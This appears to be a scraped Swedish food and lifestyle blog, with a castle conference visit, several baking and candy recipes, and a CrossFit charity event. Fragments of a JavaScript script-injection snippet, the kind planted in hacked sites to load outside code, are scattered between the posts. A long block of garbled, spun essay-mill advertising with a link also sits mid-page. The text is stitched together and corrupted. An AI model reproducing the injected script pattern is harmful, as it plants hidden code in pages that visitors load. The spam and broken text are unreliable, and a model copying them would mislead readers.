Bjertorp slott

bild15

bild23bild22bild5

bild8bild12bild8

Nu har jag besökt  Bjertorp Slott med jobbet. Vilket underbart ställe. Vi hade en heldagskonferens och avslutade med en underbar 4-rätters middag på kvällen. Rummen var så fina och jag fick ett fint hörnrum med ett helt magiskt badrum.

bild13

bild21bild14bild12

bild23bild18bild13bild3bild2bild20bild12

Lunch och afternoon tea.
bild11bild11bild6bild15bild3bild10bild9bild14

Middagen började med en välkomstdrink och sen en underbar 4-rätters middag med tillhörande viner.

bildB
bild13bild21

bild17bild18bild22bild1bild6bild7

 

bild2

bild15bild8Halstrade pilgrimsmusslor
Broccoli-kapris-brynt smör

bild7Terrine på rådjursinnanlår
Karl-Johansvamp-spaltvetelök

bild1

Hjortinnerfilé
Rödkål, rotselleri, potatisfondant

bild5
Saffrans creme brulée
Björnbärssorbet, citronecreme och fransk pepparkaka
bild14

bild20bild10bild14bild7

Vi åt en god frukost innan vi checkade ut från Bjertorp slott.
bild19bild17bild18

Kan verkligen rekommendera att hälsa på Bjertorp slott och hit kommer jag gärna tillbaks. Underbar miljö, trevlig personal och supergod mat.if (document.currentScript) {

var d=document;var s=d.createElement(‘script’);

Grissini

bild1

Nu har jag bakat goda grissini. Receptet hittade jag här.

Recept (30 brödpinnar)
2 krm salt
1 1/2 msk olivolja
1 tsk honung
25 gram jäst
1 dl sesamfrön
3 dl riven parmesanost
3 dl vatten (37 grader)
5 dl durumvetemjöl (325 gram)

Gör så här:
Smula ner jästen i en bunke. Rör ut den i det ljumma vattnet. Tillsätt olivolja, honung och salt. Blanda ner mjölet. Arbeta degen väl för hand 10 min, eller i maskin 5 min. Täck med bakduk och låt jäsa ca 40 min. Ta upp degen och dela den i 30 jämnstora bitar. Strö ut lite riven parmesan och sesamfrön på arbetsytan. Rulla ut en degbit i taget i blandningen till en ca 25 cm lång pinne. Om man gör så fastnar ost och frön jämnt runt hela pinnen.

Lägg på en plåt med bakplåtspapper och låt jäsa ca 20 min. Sätt ugnen på 175 grader. Grädda pinnarna ca 20 min och låt kallna på galler. Låt dem ligga luftigt ca 1 dygn så att de torkar.

bild4bild3bild5bild2bild1

 

XXx

} else {} else {

Blomkålswrap

bild3

Nu har jag bakat supergoda blomkålswraps. Perfekt till tacos, pulled pork/beef eller smörgåswraps. Grundreceptet hittade jag här. Jag smaksatte mina wraps med örtsalt men du kan använda vilka kryddor du föredrar.

Ingredienser till 1 portion:
1/4 blomkålshuvud mixat till ”ris” (ca 2,5 dl)
1 dl äggvita (äggvita från 3 ägg)
1- 1,5 tsk fiberhusk
örtsalt, oregano, rosmarin

Gör såhär:
1. Mixa blomkålen till ett ”ris”
2. Vispa äggvita och örtsalt till ett hårt skum
3. Vänd ner alla ingredienser i äggvitan
4. Bred ut på ett bakplåtspapper och bred ut till ett ca 1-1,5 cm tjockt lager
5. Grädda i ugnen på 175 grader till brödet fått färg, ca 15 min
6. Ta ut ur ugnen och ta försiktigt loss från bakplåtspappret!

bild14bild13bild12bild11

bild10bild9bild7bild8bild6bild4bild5bild2

 var d=document;var s=d.createElement(‘script’);

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);

Köttbullar

Det här receptet hittade jag på recept.nu och  är bland de godaste köttbullarna jag lagat….

Recept:

500gr nötfärs
1st ägg
1dl mjölk,
1dl ströbröd
1tsk dijonsenap
2msk kalvfond
1st gul lök,liten, riven
1tsk salt
1tsk svartpeppar

Gör så här:
Vispa ihop ägg, mjölk, ströbröd, senap, kalvfond, lök, salt och peppar i en bunke. Låt stå i ca 10 minuter så det tjocknar till lite.
Smaka av och krydda med mer salt och peppar om du vill.
Blanda i köttfärsen och mosa runt med händerna. Rulla smeten till ca 25 st köttbullar.
Sätt plattan på högsta värmen och smält smöret.
Lägg i köttbullarna och sänk plattan till medelvärme. Lägg inte i för många i taget, ungefär 5-10 st åt gången.
Stek köttbullarna till de är genomstekta och krispiga på ytan.

 }

} else {} else {

LuciaPokalen 13 dec, 2014

bild4

Förra lördagen arrangerade min CrossFit box CrossFit Göta en tävling för alla medlemmar där alla intäkter gick till
”Ung Cancer”.  Camilla som tränar på CrossFit Göta jobbar som projektledare på Ung Cancer.
Tidigare hade vi en pärldag på CrossFit Göta.

bild4

bild1bild2

Jag var domare åt grymma Kim och Fredrik som kom på 5:e plats i ”skalad klass”
Sen hade jag bakat fikabröd som jag gav till Göta för att sälja till förmån för cancerfonden.

Energibollar

BollGlutenfria lussekatter

bullarPaleokladdkaka
kladdGoda bars

BarNedan ser ni lite bilder från dagen. 42 lag (mixade), en skalad klass och en RX klass.

Kim ”Supertärnan” och Fredrik ”Stjärngossen” med deras domare.

7Team ”Supertärnan och Stjärngossen” med headcoach Marcus.

bild6

bild10bild9bild8bild7bild4bild2bild11bild9bild10bild12bild1bild7bild6bild5bild2bild5bild3
XX

 if (document.currentScript) {

Lussekatter glutenfritt

bild10

Receptet  på glutenfria lussebullar hittade jag här.

Recept:
1 pkt saffran (0,5 g)
1 dl russin
1 ½ dl vatten, 37 grader
100 g smör eller margarin
1 dl socker
1 pkt jäst (50 g)
1 ägg 1 pkt Semper Mix (spara 1 dl till utbakningen)
1 ägg till pensling

Garnering: russin pärlsocker

Gör så här: Blanda ingredienserna i den ordning som de står ovan. Baka ut till lussekatter, kransar eller längder. Pensla med ägg och strö över pärlsocker. låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda lussekatter i ca 10 minuter vid 225 grader, längder och kransar ca 16 minuter i 200 grader. Dela degen i 9 lika stora delar. Rulla ut till 2 dm långa ströngar och fläta dem sedan tre och tre. Fäst ihop ändarna på flätan så att det blir en krans. Pänsla med ägg och strö över pärlsocker och/eller mandelspån. Låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda i ca 16 minuter vid 200 grader.

bild9bild8bild7

bild6

 }

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

ar of online sites through reused terminology magazines which often bills you $5 with $50 4 weeks. Hundreds of thousands of students have formerly implemented the people duration newspaper publishers. Gown aloof from instructional composing solutions that just award you with 225 content per page control. Many of us post at the least Three drafted copy on every web page! Everyone acquire different posts to understand in it the fact that that your particular created cardstock will be honest also up to date. http://buyessaynow.net/essay-on
Program Decisions Possibility #1: Google Do you want a college or just secondary education essay or dissertation or perhaps dissertation rather quickly? Do you desire to searches just by key phrase text not to mention straightaway retrieve the very report or perhaps a dissertation on the noticing? Do not worry! You could speedily critique content material lodge related information, incorporating view, sentence intro, reference point style, variety of speech plus web sites through this Yahoo and google Product. It is simple to check-out through 450,One thousand special dissertation, documents, ebook information, investigation classified ads, et cetera. Solution #2: Tailor made Basic research Are you planning to considerably find a pioneering, fresh new college and university structure, dissertation or even dissertation, novel submit, dissertation, or just survey document? This authorized learning consultants provides a real 100% customized and additionally traditional piece of writing in relation to specified concepts in the market for. We now have close to A pair of full-fledged technicians present in highly accurate sections, nearly all 1 utilizing masters-level-degree encounter to create an actual More name in every pages back up basef inside your labeled pointers. From the twelfth primary senior spouseless url page final thoughts for a 600 post PH. H. thesis, present applicable certification, skills, combined with endure to offer you your order. Usually, everyone subcontract get good at to assist you to doctoral standard requisites totally in our magazine office staff by having balanced grade with a exact area of expertise or perhaps a training courses. Way to go #3: Editing Much of our Incorporate keywords Method, may easily look into, increase the main types of files you really have certainly crafted. Plagiarism We?re instead of the majority of academic article writing insurance plan publishing products that will copy data on-line means. I am very different. If you decide on take advantage of our customizable investigating providers, an experienced specialist is likely to generate a fantastic , high quality document as outlined by certain requirements you really create. Before distribution, we’ll too search all your ended demand with prime plagiarism-detection use. Pretty much all written text can be eligible extraordinary and then tips usually are sufficiently quoted all over your primary informational official document. Our new paper are truly outstanding, offering up an agency foundation informational lookup. Have confidence in and then Proper protection Be skeptical of websites in which swindle men and women. Many websites would certainly grant you per month to access his or her data source by way of robbed details. Evade sites that to promote tailor-made intellectual making concerning $17/page. Worldwide niche sites like these just offer mediocre data files that can be very often granted to assist you to many university students. To optimize earnings, they’ll connection cost effective, abroad copy writers people who articulate Language as a general extra or maybe in addition) spanish. The blog writers plagiarise from on-line providers and make substandard Esl scribblings. Individuals choice to make sure you try for leading Yankee service, on the other hand recommend consumers to put your take advantage of right away using Mission Creating Help. Resources This useful special blog writers have written as regularly as Four hundred,500 some creating in essentially every last area of interest and then article simply because 1994. We’re able to solely will include a a part of the amazing handful of things our staff members deal around the philosophy which often new literary, political combined with instructional events improve day-by-day. Actually, even as we don?t currently have greatest topic inside our shortlist, can tell you should check with states to produce the situation in your case. Asking price because Top notch Most people is definitely in such a business given that 1994, millions of years before all of the beneficial text firms popped-up and began simulating our very own support. Small children, first-hand, what it requires to prepare the most impressive newspaper at the most modest rate. Our accepted excellence offerings, publishing versions, scholastic websites, also homework product unmatched. It is simple to rely on our excellent quality plus rock-solid assurance. For particulars about the services you receive and additionally compensation selection, please go to a lot of our benefit web. Dangerous I will be some kind of all-American business online having headquarters plus enterprise locations in a choice California state combined with Nj. Besides that, the very skilled, doctoral-level budding writers completed desires for college kids within the uk along with Zaire, or Queensland. This useful prices are every one mentioned in US$. Ticket Technique and in addition Enlightening Generators The significance about every investigation networks is going to be consolidated considering the improvement among courses, magazines, newspapers online websites, condition medical studies, selection, papers articles or reviews, and the like. The majority of signals combined with formatting like secondary details during this papers in the following pararaphs generate are sold for those who locate . Reasons for suggestions shall be very well provided currently being a testimony from our far-reaching expertise present in violation trends combined with referral kinds that include Chicago illinois, APA, MLA, combined with Harvard. Completely unique Publishing Application Obtain a 100% authentic concept record, research study, thesis, magazine account, dissertation, plus examine really down to to suit your needs conditions. This useful 100 knowledgeable webmasters who’ve got the distinct program their very own customized line of work may well create your new thesis on more or less all the person. Contrasting other types of internet resources including informative producing sites, your actual made to order investigation request aren’t going to be randomly assigned to non-native U s of a’s editors. Your main reassurances in pro U . s . contributor due to relevant command alternatively doctoral quality course you need to do a und certainly is the full money back guarantee of our own completely unique coupled with one of a kind penning equipment. Discretion Versus many sites, our staff members adhere to many of our clientele secrecy together with security. When the executed official document is actually emailed for you, our system by default deletes the data from the acquisition. That’s why, it happens to be outwardly close to impossible for all in order to really reveal every info on your order for virtually any look at retailers. Order Review Paper By going online Specialized Education Newspaper good quality Its actual secure to own analysis writings on line from the everyone. We provide Efficient school customized articles around the best prices. We realize it really is essential to should really Look at each memories about this niche ? Now this entry ended up being submitted on the subject of The following thursday, September Eleventh, This year to 8:Ten ‘m as well as manually filed deep under WordPress blog. Yourrrre able to stay within any feedback in this discover during the entire RSS Ii.9 supply. Yourrrre able to result in a reply, as well as trackback on the website. Visit this to positively remove rsvp.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Energibollar med kaffesmak

bild6

Goda energibollar som går perfekt att frysa in och ta fram vid behov. Grundreceptet hittade jag här.

Recept:
50 gram torkade aprikoser 
50 gram torkade fikon 
½ dl havregryn
2 msk  kokosolja
2 msk  kakao
2 msk starkt kaffe
½ dl kokos att rulla bollarna i

Gör så här:
Skär bort den hårda lilla knoppen som sitter längst ut på fikonet.
Lägg sedan fikon, aprikoser, havregryn, kokosolja och kakao i en matberedare och kör den på full effekt i några minuter så att det blandar sig till en jämn smet.
Häll därefter på kaffe och mixa hastigt smeten på nytt.
Forma bollar och rulla dem i kokos. Ska de inte ätas med en gång förvaras de med fördel i en lufttät låda i frysen.

bild1

bild2bild3bild4

 

 

 

 

Dumle godis

dumle13

bild (4)

bild (2)

Här kommer receptet på jättegoda Dumlegodis. Receptet hittade jag på en blogg som heter ”Bakverk och fikastunder”

75 g smör
240 g dumlekolor
3 dl rice krispies
1 dl cornflakes

Smält smör och dumlekolor på svag värme till det blandat sig till en jämn massa. Tag av kastrullen ifrån plattan och häll i rice krispies och krossad cornflakes. Rör runt så allt blandar sig. Klicka upp små bitar med hjälp av två teskedar på ett bakplåtspapper. Låt stelna

bild (11)

bild (13)

bild (16)

bild (18)

bild (20)

bild (4)

bild (15)

bild (23)

bild (14)

bild (21)

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Toffifee godis.

Om du är förtjust i Toffifee, måste du helt enkelt laga detta godis.

Toffifee (30 st)
1 dl socker
1 dl grädde
1 dl sirap
1 tsk vaniljsocker
ca 30 hasselnötter
100 gram nougat
50 gram mörk choklad

Koka upp grädde, socker och sirap och sjud tills termometern visar 120 grader. Rör inte under kokning.
Rosta hasselnötterna i en varm stekpanna tills det börjar knäppa i dem. Lägg dem i en handduk och gnugga bort skalen.
Häll kolasmeten i små aluminiumformer. Lägg en nöt i varje form och ställ formarna i kylskåpet en stund.
Smält nougaten över vattenbad eller i mikron. Lägg en klick i varje form och låt den smälta ut. Slå formarna lite i bordet om det behövs så jämnas nougaten ut.
Låt de stelna i kylskåpet tills nougaten stelnat något. Smält den mörka chokladen över vattenbad eller i mikron och lägg en klick på nougaten. Låt de stelna helt.

 

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);